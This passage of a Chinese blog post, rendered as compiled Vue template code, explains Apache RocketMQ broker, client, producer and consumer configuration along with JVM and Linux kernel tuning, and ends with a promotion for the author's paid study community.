"),s("p",[t._v("SYNC_FLUSH(同步刷新)相比于ASYNC_FLUSH(异步处理)会损失很多性能,但是也更可靠,所以需要根据实际的业务场景做好权衡。")]),t._v(" "),s("h4",{attrs:{id:"broker-配置"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#broker-配置"}},[t._v("#")]),t._v(" Broker 配置")]),t._v(" "),s("table",[s("thead",[s("tr",[s("th",[t._v("参数名")]),t._v(" "),s("th",[t._v("默认值")]),t._v(" "),s("th",[t._v("说明")])])]),t._v(" "),s("tbody",[s("tr",[s("td",[t._v("listenPort")]),t._v(" "),s("td",[t._v("10911")]),t._v(" "),s("td",[t._v("接受客户端连接的监听端口")])]),t._v(" "),s("tr",[s("td",[t._v("namesrvAddr")]),t._v(" "),s("td",[t._v("null")]),t._v(" "),s("td",[t._v("nameServer 地址")])]),t._v(" "),s("tr",[s("td",[t._v("brokerIP1")]),t._v(" "),s("td",[t._v("网卡的 InetAddress")]),t._v(" "),s("td",[t._v("当前 broker 监听的 IP")])]),t._v(" "),s("tr",[s("td",[t._v("brokerIP2")]),t._v(" "),s("td",[t._v("跟 brokerIP1 一样")]),t._v(" "),s("td",[t._v("存在主从 broker 时,如果在 broker 主节点上配置了 brokerIP2 属性,broker 从节点会连接主节点配置的 brokerIP2 进行同步")])]),t._v(" "),s("tr",[s("td",[t._v("brokerName")]),t._v(" "),s("td",[t._v("null")]),t._v(" "),s("td",[t._v("broker 的名称")])]),t._v(" "),s("tr",[s("td",[t._v("brokerClusterName")]),t._v(" "),s("td",[t._v("DefaultCluster")]),t._v(" "),s("td",[t._v("本 broker 所属的 Cluser 名称")])]),t._v(" "),s("tr",[s("td",[t._v("brokerId")]),t._v(" "),s("td",[t._v("0")]),t._v(" "),s("td",[t._v("broker id, 0 表示 master, 其他的正整数表示 slave")])]),t._v(" "),s("tr",[s("td",[t._v("storePathRootDir")]),t._v(" "),s("td",[t._v("$HOME/store/")]),t._v(" "),s("td",[t._v("存储根路径")])]),t._v(" "),s("tr",[s("td",[t._v("storePathCommitLog")]),t._v(" "),s("td",[t._v("$HOME/store/commitlog/")]),t._v(" "),s("td",[t._v("存储 commit log 的路径")])]),t._v(" "),s("tr",[s("td",[t._v("mappedFileSizeCommitLog")]),t._v(" "),s("td",[t._v("1024 * 1024 * 1024(1G)")]),t._v(" "),s("td",[t._v("commit log 的映射文件大小")])]),t._v(" "),s("tr",[s("td",[t._v("deleteWhen")]),t._v(" "),s("td",[t._v("04")]),t._v(" "),s("td",[t._v("在每天的什么时间删除已经超过文件保留时间的 commit log")])]),t._v(" "),s("tr",[s("td",[t._v("fileReservedTime")]),t._v(" "),s("td",[t._v("72")]),t._v(" "),s("td",[t._v("以小时计算的文件保留时间")])]),t._v(" "),s("tr",[s("td",[t._v("brokerRole")]),t._v(" "),s("td",[t._v("ASYNC_MASTER")]),t._v(" "),s("td",[t._v("SYNC_MASTER/ASYNC_MASTER/SLAVE")])]),t._v(" "),s("tr",[s("td",[t._v("flushDiskType")]),t._v(" "),s("td",[t._v("ASYNC_FLUSH")]),t._v(" "),s("td",[t._v("SYNC_FLUSH/ASYNC_FLUSH SYNC_FLUSH 模式下的 broker 保证在收到确认生产者之前将消息刷盘。ASYNC_FLUSH 模式下的 broker 则利用刷盘一组消息的模式,可以取得更好的性能。")])])])]),t._v(" "),s("h3",{attrs:{id:"nameserver"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#nameserver"}},[t._v("#")]),t._v(" NameServer")]),t._v(" "),s("p",[t._v("RocketMQ 中,Name Servers 被设计用来做简单的路由管理。其职责包括:")]),t._v(" "),s("ul",[s("li",[t._v("Brokers 定期向每个名称服务器注册路由数据。")]),t._v(" "),s("li",[t._v("名称服务器为客户端,包括生产者,消费者和命令行客户端提供最新的路由信息。")])]),t._v(" "),s("h3",{attrs:{id:"客户端配置"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#客户端配置"}},[t._v("#")]),t._v(" 客户端配置")]),t._v(" "),s("p",[t._v("相对于RocketMQ的Broker集群,生产者和消费者都是客户端。本小节主要描述生产者和消费者公共的行为配置。")]),t._v(" "),s("h4",{attrs:{id:"客户端寻址方式"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#客户端寻址方式"}},[t._v("#")]),t._v(" 客户端寻址方式")]),t._v(" "),s("p",[t._v("RocketMQ可以令客户端找到Name Server, 然后通过Name Server再找到Broker。如下所示有多种配置方式,优先级由高到低,高优先级会覆盖低优先级。")]),t._v(" "),s("ul",[s("li",[t._v("代码中指定Name Server地址,多个namesrv地址之间用分号分割")])]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[t._v("producer"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setNamesrvAddr")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"192.168.0.1:9876;192.168.0.2:9876"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" \nconsumer"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setNamesrvAddr")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"192.168.0.1:9876;192.168.0.2:9876"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("ul",[s("li",[t._v("Java启动参数中指定Name Server地址")])]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-Drocketmq.namesrv.addr")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("192.168")]),t._v(".0.1:9876"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("192.168")]),t._v(".0.2:9876 \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("ul",[s("li",[t._v("环境变量指定Name Server地址")])]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token builtin class-name"}},[t._v("export")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("NAMESRV_ADDR")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("192.168")]),t._v(".0.1:9876"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("192.168")]),t._v(".0.2:9876 \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("ul",[s("li",[t._v("HTTP静态服务器寻址(默认)")])]),t._v(" "),s("p",[t._v("客户端启动后,会定时访问一个静态HTTP服务器,地址如下:"),s("a",{attrs:{href:"http://jmenv.tbsite.net:8080/rocketmq/nsaddr",target:"_blank",rel:"noopener noreferrer"}},[t._v("http://jmenv.tbsite.net:8080/rocketmq/nsaddr"),s("OutboundLink")],1),t._v(",这个URL的返回内容如下:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token number"}},[t._v("192.168")]),t._v(".0.1:9876"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("192.168")]),t._v(".0.2:9876 \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("客户端默认每隔2分钟访问一次这个HTTP服务器,并更新本地的Name Server地址。URL已经在代码中硬编码,可通过修改/etc/hosts文件来改变要访问的服务器,例如在/etc/hosts增加如下配置:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token number"}},[t._v("10.232")]),t._v(".22.67 jmenv.tbsite.net \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("推荐使用HTTP静态服务器寻址方式,好处是客户端部署简单,且Name Server集群可以热升级。")]),t._v(" "),s("h4",{attrs:{id:"客户端配置-2"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#客户端配置-2"}},[t._v("#")]),t._v(" 客户端配置")]),t._v(" "),s("p",[t._v('DefaultMQProducer、TransactionMQProducer、DefaultMQPushConsumer、DefaultMQPullConsumer都继承于ClientConfig类,ClientConfig为客户端的公共配置类。客户端的配置都是get、set形式,每个参数都可以用spring来配置,也可以在代码中配置,例如namesrvAddr这个参数可以这样配置,producer.setNamesrvAddr("192.168.0.1:9876"),其他参数同理。')]),t._v(" "),s("p",[s("strong",[t._v("客户端的公共配置")])]),t._v(" "),s("table",[s("thead",[s("tr",[s("th",[t._v("参数名")]),t._v(" "),s("th",[t._v("默认值")]),t._v(" "),s("th",[t._v("说明")])])]),t._v(" "),s("tbody",[s("tr",[s("td",[t._v("namesrvAddr")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("Name Server地址列表,多个NameServer地址用分号隔开")])]),t._v(" "),s("tr",[s("td",[t._v("clientIP")]),t._v(" "),s("td",[t._v("本机IP")]),t._v(" "),s("td",[t._v("客户端本机IP地址,某些机器会发生无法识别客户端IP地址情况,需要应用在代码中强制指定")])]),t._v(" "),s("tr",[s("td",[t._v("instanceName")]),t._v(" "),s("td",[t._v("DEFAULT")]),t._v(" "),s("td",[t._v("客户端实例名称,客户端创建的多个Producer、Consumer实际是共用一个内部实例(这个实例包含网络连接、线程资源等)")])]),t._v(" "),s("tr",[s("td",[t._v("clientCallbackExecutorThreads")]),t._v(" "),s("td",[t._v("4")]),t._v(" "),s("td",[t._v("通信层异步回调线程数")])]),t._v(" "),s("tr",[s("td",[t._v("pollNameServerInteval")]),t._v(" "),s("td",[t._v("30000")]),t._v(" "),s("td",[t._v("轮询Name Server间隔时间,单位毫秒")])]),t._v(" "),s("tr",[s("td",[t._v("heartbeatBrokerInterval")]),t._v(" "),s("td",[t._v("30000")]),t._v(" "),s("td",[t._v("向Broker发送心跳间隔时间,单位毫秒")])]),t._v(" "),s("tr",[s("td",[t._v("persistConsumerOffsetInterval")]),t._v(" "),s("td",[t._v("5000")]),t._v(" "),s("td",[t._v("持久化Consumer消费进度间隔时间,单位毫秒")])])])]),t._v(" "),s("p",[s("strong",[t._v("Producer配置")])]),t._v(" "),s("table",[s("thead",[s("tr",[s("th",[t._v("参数名")]),t._v(" "),s("th",[t._v("默认值")]),t._v(" "),s("th",[t._v("说明")])])]),t._v(" "),s("tbody",[s("tr",[s("td",[t._v("producerGroup")]),t._v(" "),s("td",[t._v("DEFAULT_PRODUCER")]),t._v(" "),s("td",[t._v("Producer组名,多个Producer如果属于一个应用,发送同样的消息,则应该将它们归为同一组")])]),t._v(" "),s("tr",[s("td",[t._v("createTopicKey")]),t._v(" "),s("td",[t._v("TBW102")]),t._v(" "),s("td",[t._v("在发送消息时,自动创建服务器不存在的topic,需要指定Key,该Key可用于配置发送消息所在topic的默认路由。")])]),t._v(" "),s("tr",[s("td",[t._v("defaultTopicQueueNums")]),t._v(" "),s("td",[t._v("4")]),t._v(" "),s("td",[t._v("在发送消息,自动创建服务器不存在的topic时,默认创建的队列数")])]),t._v(" "),s("tr",[s("td",[t._v("sendMsgTimeout")]),t._v(" "),s("td",[t._v("3000")]),t._v(" "),s("td",[t._v("发送消息超时时间,单位毫秒")])]),t._v(" "),s("tr",[s("td",[t._v("compressMsgBodyOverHowmuch")]),t._v(" "),s("td",[t._v("4096")]),t._v(" "),s("td",[t._v("消息Body超过多大开始压缩(Consumer收到消息会自动解压缩),单位字节")])]),t._v(" "),s("tr",[s("td",[t._v("retryAnotherBrokerWhenNotStoreOK")]),t._v(" "),s("td",[t._v("FALSE")]),t._v(" "),s("td",[t._v("如果发送消息返回sendResult,但是sendStatus!=SEND_OK,是否重试发送")])]),t._v(" "),s("tr",[s("td",[t._v("retryTimesWhenSendFailed")]),t._v(" "),s("td",[t._v("2")]),t._v(" "),s("td",[t._v("如果消息发送失败,最大重试次数,该参数只对同步发送模式起作用")])]),t._v(" "),s("tr",[s("td",[t._v("maxMessageSize")]),t._v(" "),s("td",[t._v("4MB")]),t._v(" "),s("td",[t._v("客户端限制的消息大小,超过报错,同时服务端也会限制,所以需要跟服务端配合使用。")])]),t._v(" "),s("tr",[s("td",[t._v("transactionCheckListener")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("事务消息回查监听器,如果发送事务消息,必须设置")])]),t._v(" "),s("tr",[s("td",[t._v("checkThreadPoolMinSize")]),t._v(" "),s("td",[t._v("1")]),t._v(" "),s("td",[t._v("Broker回查Producer事务状态时,线程池最小线程数")])]),t._v(" "),s("tr",[s("td",[t._v("checkThreadPoolMaxSize")]),t._v(" "),s("td",[t._v("1")]),t._v(" "),s("td",[t._v("Broker回查Producer事务状态时,线程池最大线程数")])]),t._v(" "),s("tr",[s("td",[t._v("checkRequestHoldMax")]),t._v(" "),s("td",[t._v("2000")]),t._v(" "),s("td",[t._v("Broker回查Producer事务状态时,Producer本地缓冲请求队列大小")])]),t._v(" "),s("tr",[s("td",[t._v("RPCHook")]),t._v(" "),s("td",[t._v("null")]),t._v(" "),s("td",[t._v("该参数是在Producer创建时传入的,包含消息发送前的预处理和消息响应后的处理两个接口,用户可以在第一个接口中做一些安全控制或者其他操作。")])])])]),t._v(" "),s("p",[s("strong",[t._v("PushConsumer配置")])]),t._v(" "),s("table",[s("thead",[s("tr",[s("th",[t._v("参数名")]),t._v(" "),s("th",[t._v("默认值")]),t._v(" "),s("th",[t._v("说明")])])]),t._v(" "),s("tbody",[s("tr",[s("td",[t._v("consumerGroup")]),t._v(" "),s("td",[t._v("DEFAULT_CONSUMER")]),t._v(" "),s("td",[t._v("Consumer组名,多个Consumer如果属于一个应用,订阅同样的消息,且消费逻辑一致,则应该将它们归为同一组")])]),t._v(" "),s("tr",[s("td",[t._v("messageModel")]),t._v(" "),s("td",[t._v("CLUSTERING")]),t._v(" "),s("td",[t._v("消费模型支持集群消费和广播消费两种")])]),t._v(" "),s("tr",[s("td",[t._v("consumeFromWhere")]),t._v(" "),s("td",[t._v("CONSUME_FROM_LAST_OFFSET")]),t._v(" "),s("td",[t._v("Consumer启动后,默认从上次消费的位置开始消费,这包含两种情况:一种是上次消费的位置未过期,则消费从上次中止的位置进行;一种是上次消费位置已经过期,则从当前队列第一条消息开始消费")])]),t._v(" "),s("tr",[s("td",[t._v("consumeTimestamp")]),t._v(" "),s("td",[t._v("半个小时前")]),t._v(" "),s("td",[t._v("只有当consumeFromWhere值为CONSUME_FROM_TIMESTAMP时才起作用。")])]),t._v(" "),s("tr",[s("td",[t._v("allocateMessageQueueStrategy")]),t._v(" "),s("td",[t._v("AllocateMessageQueueAveragely")]),t._v(" "),s("td",[t._v("Rebalance算法实现策略")])]),t._v(" "),s("tr",[s("td",[t._v("subscription")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("订阅关系")])]),t._v(" "),s("tr",[s("td",[t._v("messageListener")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("消息监听器")])]),t._v(" "),s("tr",[s("td",[t._v("offsetStore")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("消费进度存储")])]),t._v(" "),s("tr",[s("td",[t._v("consumeThreadMin")]),t._v(" "),s("td",[t._v("20")]),t._v(" "),s("td",[t._v("消费线程池最小线程数")])]),t._v(" "),s("tr",[s("td",[t._v("consumeThreadMax")]),t._v(" "),s("td",[t._v("20")]),t._v(" "),s("td",[t._v("消费线程池最大线程数")])]),t._v(" "),s("tr",[s("td",[t._v("consumeConcurrentlyMaxSpan")]),t._v(" "),s("td",[t._v("2000")]),t._v(" "),s("td",[t._v("单队列并行消费允许的最大跨度")])]),t._v(" "),s("tr",[s("td",[t._v("pullThresholdForQueue")]),t._v(" "),s("td",[t._v("1000")]),t._v(" "),s("td",[t._v("拉消息本地队列缓存消息最大数")])]),t._v(" "),s("tr",[s("td",[t._v("pullInterval")]),t._v(" "),s("td",[t._v("0")]),t._v(" "),s("td",[t._v("拉消息间隔,由于是长轮询,所以为0,但是如果应用为了流控,也可以设置大于0的值,单位毫秒")])]),t._v(" "),s("tr",[s("td",[t._v("consumeMessageBatchMaxSize")]),t._v(" "),s("td",[t._v("1")]),t._v(" "),s("td",[t._v("批量消费,一次消费多少条消息")])]),t._v(" "),s("tr",[s("td",[t._v("pullBatchSize")]),t._v(" "),s("td",[t._v("32")]),t._v(" "),s("td",[t._v("批量拉消息,一次最多拉多少条")])])])]),t._v(" "),s("p",[s("strong",[t._v("PullConsumer配置")])]),t._v(" "),s("table",[s("thead",[s("tr",[s("th",[t._v("参数名")]),t._v(" "),s("th",[t._v("默认值")]),t._v(" "),s("th",[t._v("说明")])])]),t._v(" "),s("tbody",[s("tr",[s("td",[t._v("consumerGroup")]),t._v(" "),s("td",[t._v("DEFAULT_CONSUMER")]),t._v(" "),s("td",[t._v("Consumer组名,多个Consumer如果属于一个应用,订阅同样的消息,且消费逻辑一致,则应该将它们归为同一组")])]),t._v(" "),s("tr",[s("td",[t._v("brokerSuspendMaxTimeMillis")]),t._v(" "),s("td",[t._v("20000")]),t._v(" "),s("td",[t._v("长轮询,Consumer拉消息请求在Broker挂起最长时间,单位毫秒")])]),t._v(" "),s("tr",[s("td",[t._v("consumerTimeoutMillisWhenSuspend")]),t._v(" "),s("td",[t._v("30000")]),t._v(" "),s("td",[t._v("长轮询,Consumer拉消息请求在Broker挂起超过指定时间,客户端认为超时,单位毫秒")])]),t._v(" "),s("tr",[s("td",[t._v("consumerPullTimeoutMillis")]),t._v(" "),s("td",[t._v("10000")]),t._v(" "),s("td",[t._v("非长轮询,拉消息超时时间,单位毫秒")])]),t._v(" "),s("tr",[s("td",[t._v("messageModel")]),t._v(" "),s("td",[t._v("BROADCASTING")]),t._v(" "),s("td",[t._v("消息支持两种模式:集群消费和广播消费")])]),t._v(" "),s("tr",[s("td",[t._v("messageQueueListener")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("监听队列变化")])]),t._v(" "),s("tr",[s("td",[t._v("offsetStore")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("消费进度存储")])]),t._v(" "),s("tr",[s("td",[t._v("registerTopics")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("注册的topic集合")])]),t._v(" "),s("tr",[s("td",[t._v("allocateMessageQueueStrategy")]),t._v(" "),s("td",[t._v("AllocateMessageQueueAveragely")]),t._v(" "),s("td",[t._v("Rebalance算法实现策略")])])])]),t._v(" "),s("p",[s("strong",[t._v("Message数据结构")])]),t._v(" "),s("table",[s("thead",[s("tr",[s("th",[t._v("字段名")]),t._v(" "),s("th",[t._v("默认值")]),t._v(" "),s("th",[t._v("说明")])])]),t._v(" "),s("tbody",[s("tr",[s("td",[t._v("Topic")]),t._v(" "),s("td",[t._v("null")]),t._v(" "),s("td",[t._v("必填,消息所属topic的名称")])]),t._v(" "),s("tr",[s("td",[t._v("Body")]),t._v(" "),s("td",[t._v("null")]),t._v(" "),s("td",[t._v("必填,消息体")])]),t._v(" "),s("tr",[s("td",[t._v("Tags")]),t._v(" "),s("td",[t._v("null")]),t._v(" "),s("td",[t._v("选填,消息标签,方便服务器过滤使用。目前只支持每个消息设置一个tag")])]),t._v(" "),s("tr",[s("td",[t._v("Keys")]),t._v(" "),s("td",[t._v("null")]),t._v(" "),s("td",[t._v("选填,代表这条消息的业务关键词,服务器会根据keys创建哈希索引,设置后,可以在Console系统根据Topic、Keys来查询消息,由于是哈希索引,请尽可能保证key唯一,例如订单号,商品Id等。")])]),t._v(" "),s("tr",[s("td",[t._v("Flag")]),t._v(" "),s("td",[t._v("0")]),t._v(" "),s("td",[t._v("选填,完全由应用来设置,RocketMQ不做干预")])]),t._v(" "),s("tr",[s("td",[t._v("DelayTimeLevel")]),t._v(" "),s("td",[t._v("0")]),t._v(" "),s("td",[t._v("选填,消息延时级别,0表示不延时,大于0会延时特定的时间才会被消费")])]),t._v(" "),s("tr",[s("td",[t._v("WaitStoreMsgOK")]),t._v(" "),s("td",[t._v("TRUE")]),t._v(" "),s("td",[t._v("选填,表示消息是否在服务器落盘后才返回应答。")])])])]),t._v(" "),s("h3",{attrs:{id:"系统配置"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#系统配置"}},[t._v("#")]),t._v(" 系统配置")]),t._v(" "),s("p",[t._v("本小节主要介绍系统(JVM/OS)相关的配置。")]),t._v(" "),s("h4",{attrs:{id:"jvm选项"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#jvm选项"}},[t._v("#")]),t._v(" JVM选项")]),t._v(" "),s("p",[t._v("推荐使用最新发布的JDK 1.8版本。通过设置相同的Xms和Xmx值来防止JVM调整堆大小以获得更好的性能。简单的JVM配置如下所示:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-server")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-Xms8g")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-Xmx8g")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-Xmn4g")]),t._v(" \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("如果您不关心RocketMQ Broker的启动时间,还有一种更好的选择,就是通过“预触摸”Java堆以确保在JVM初始化期间每个页面都将被分配。那些不关心启动时间的人可以启用它:")]),t._v(" "),s("p",[t._v("-XX:+AlwaysPreTouch")]),t._v(" "),s("p",[t._v("禁用偏置锁定可能会减少JVM暂停。")]),t._v(" "),s("p",[t._v("-XX:-UseBiasedLocking")]),t._v(" "),s("p",[t._v("至于垃圾回收,建议使用带JDK 1.8的G1收集器。")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-XX:+UseG1GC")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-XX:G1HeapRegionSize")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("16m \n"),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-XX:G1ReservePercent")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("25")]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-XX:InitiatingHeapOccupancyPercent")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("30")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[t._v("这些GC选项看起来有点激进,但事实证明它在我们的生产环境中具有良好的性能。另外不要把-XX:MaxGCPauseMillis的值设置太小,否则JVM将使用一个小的年轻代来实现这个目标,这将导致非常频繁的minor GC,所以建议使用rolling GC日志文件:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-XX:+UseGCLogFileRotation")]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-XX:NumberOfGCLogFiles")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("5")]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-XX:GCLogFileSize")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("30m\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[t._v("如果写入GC文件会增加代理的延迟,可以考虑将GC日志文件重定向到内存文件系统:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[t._v("-Xloggc:/dev/shm/mq_gc_%p.log123 \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("h4",{attrs:{id:"linux内核参数"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#linux内核参数"}},[t._v("#")]),t._v(" Linux内核参数")]),t._v(" "),s("p",[t._v("os.sh脚本在bin文件夹中列出了许多内核参数,可以进行微小的更改然后用于生产用途。下面的参数需要注意,更多细节请参考/proc/sys/vm/*的"),s("a",{attrs:{href:"https://www.kernel.org/doc/Documentation/sysctl/vm.txt",target:"_blank",rel:"noopener noreferrer"}},[t._v("文档"),s("OutboundLink")],1)]),t._v(" "),s("ul",[s("li",[s("strong",[t._v("vm.extra_free_kbytes")]),t._v(",告诉VM在后台回收(kswapd)启动的阈值与直接回收(通过分配进程)的阈值之间保留额外的可用内存。RocketMQ使用此参数来避免内存分配中的长延迟。(与具体内核版本相关)")]),t._v(" "),s("li",[s("strong",[t._v("vm.min_free_kbytes")]),t._v(",如果将其设置为低于1024KB,将会巧妙的将系统破坏,并且系统在高负载下容易出现死锁。")]),t._v(" "),s("li",[s("strong",[t._v("vm.max_map_count")]),t._v(",限制一个进程可能具有的最大内存映射区域数。RocketMQ将使用mmap加载CommitLog和ConsumeQueue,因此建议将为此参数设置较大的值。(agressiveness --\x3e aggressiveness)")]),t._v(" "),s("li",[s("strong",[t._v("vm.swappiness")]),t._v(",定义内核交换内存页面的积极程度。较高的值会增加攻击性,较低的值会减少交换量。建议将值设置为10来避免交换延迟。")]),t._v(" "),s("li",[s("strong",[t._v("File descriptor limits")]),t._v(",RocketMQ需要为文件(CommitLog和ConsumeQueue)和网络连接打开文件描述符。我们建议设置文件描述符的值为655350。")]),t._v(" "),s("li",[s("a",{attrs:{href:"https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Performance_Tuning_Guide/ch06s04s02.html",target:"_blank",rel:"noopener noreferrer"}},[t._v("Disk scheduler"),s("OutboundLink")],1),t._v(",RocketMQ建议使用I/O截止时间调度器,它试图为请求提供有保证的延迟。")])]),t._v(" "),s("p",{attrs:{align:"right"}},[s("font",{attrs:{size:"1"}},[t._v("注意:本章内容大部分内容来源:https://github.com/apache/rocketmq/tree/master/docs/cn")])],1),t._v(" "),s("p",[s("strong",[t._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),t._v(" "),s("p",[s("strong",[t._v("另外,一不小心就写了20章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),t._v(" "),s("h2",{attrs:{id:"关于星球"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[t._v("#")]),t._v(" 关于星球")]),t._v(" "),s("p",[t._v("最近,冰河创建了【冰河技术】知识星球,《"),s("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),s("OutboundLink")],1),t._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),t._v(" "),s("p",[t._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),t._v(" "),s("h3",{attrs:{id:"星球提供的服务"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[t._v("#")]),t._v(" 星球提供的服务")]),t._v(" "),s("p",[t._v("冰河整理了星球提供的一些服务,如下所示。")]),t._v(" "),s("p",[t._v("加入星球,你将获得:")]),t._v(" "),s("p",[t._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),t._v(" "),s("p",[t._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),t._v(" 